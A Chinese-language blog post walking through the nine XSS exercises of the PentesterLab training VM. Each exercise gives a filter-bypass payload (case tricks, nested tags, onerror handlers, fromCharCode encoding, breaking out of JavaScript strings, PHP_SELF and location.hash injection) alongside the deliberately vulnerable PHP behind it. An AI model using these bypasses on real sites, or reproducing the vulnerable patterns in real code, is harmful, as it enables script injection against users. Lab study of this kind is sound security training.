`
tinyhema
  • 浏览: 150330 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

pentesterlab xss漏洞分析

阅读更多
pentesterlab简介

pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台。

pentesterlab环境搭建
官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可。

ps:官方文档建议做一个host绑定,方便后面使用
windows下hosts文件目录:C:\Windows\System32\Drivers\etc\hosts,打开后添加以下一行
192.168.1.100 vulnerable # 具体ip可以在虚拟机中使用ifconfig查看


xss分析
  • 第一个xss非常简单,直接输入即可
  • // <script>alert(1);</script>
    http://vulnerable/xss/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
    

    它对应的代码如下
    <?php 
    	echo $_GET["name"];
    ?>
    

  • 第二个xss过滤了小写的<script>与</script>,可以使用大小写绕过
  • // <sCript>alert(1);</scrIpt>
    http://vulnerable/xss/example2.php?name=%3CsCript%3Ealert(1);%3C/scrIpt%3E
    

    它对应的代码如下
    <?php 
    	$name = $_GET["name"];
    	$name = preg_replace("/<script>/", "", $name);
    	$name = preg_replace("/<\/script>/", "", $name);
    	echo $name;
    ?>
    

  • 第三个xss过滤了不区分大小写的<script>与</script>,可以使用嵌套的script标签绕过
  • // <sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>
    http://vulnerable/xss/example3.php?name=%3CsCr%3CscriPt%3Eipt%3Ealert(1)%3C/scr%3C/scRipt%3EIpt%3E
    

    它对应的代码如下
    <?php 
    	$name = $_GET["name"];
    	$name = preg_replace("/<script>/i", "", $name);
    	$name = preg_replace("/<\/script>/i", "", $name);
    	echo $name;
    ?>
    

  • 第四个xss判断包含script字符串即报错,可以使用img标签绕过
  • // <img src='a' onerror='alert(1)' />
    http://vulnerable/xss/example4.php?name=%3Cimg%20src='a'%20onerror='alert(1)'%20/%3E
    

    它对应的代码如下
    <?php 
    	if(preg_match('/script/i', $_GET["name"])) {
    		die("error");
    	}
    ?>
    

  • 第五个xss判断包含alert字符串即报错,@_@,可以使用编码方式绕过
  • // <iMg src=N onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))">
    http://vulnerable/xss/example5.php?name=%3CiMg%20src=N%20onerror=%22eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))%22%3E
    

    它对应的代码如下
    <?php 
    	if(preg_match('/alert/i', $_GET["name"])) {
    		die("error");
    	}
    ?>
    

  • 第六个xss直接在js环境中输出php变量,可以通过构造js脚本绕过
  • // ";b=alert(1);eval(b);//
    http://vulnerable/xss/example6.php?name=%22;b=alert(1);eval(b);//

    它对应的代码如下
    <script>
    	var $a = "<?php echo $_GET["name"]; ?>";
    <script>
    

  • 第七个xss在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,使用单引号绕过
  • // ';b=alert(1);eval(b);//
    http://vulnerable/xss/example7.php?name=';b=alert(1);eval(b);//
    

    它对应的代码如下
    <script>
    	var $a = "<?php echo htmlentities($_GET["name"]); ?>";
    <script>
    

  • 第八个xss的post地址使用了当前url,构造当前url地址达到xss目的
  • // /"method="POST"><script>alert(1)</script>
    http://vulnerable/xss/example8.php/%22method=%22POST%22%3E%3Cscript%3Ealert(1)%3C/script%3E
    

    它对应的代码如下
    <?php 
    	if(isset($_POST["name"])) {
    		echo "HELLO ".htmlentities($_POST["name"]);
    	}
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    	Your name:<input type="text" name="name" />
    	<input type="submit" name="submit" />
    

  • 第九个xss直接在页面输出锚点id,构建一个带xss的锚点即可
  • // #<script>alert(1)</script>
    http://vulnerable/xss/example9.php#<script>alert(1)</script>
    

    它对应的代码如下
    <script>
    	document.write(location.hash.substring(1));
    </script>
    


    原创文章http://tinyhema.iteye.com/blog/2003605,转载请注明。
    分享到:
    评论

    相关推荐

    Global site tag (gtag.js) - Google Analytics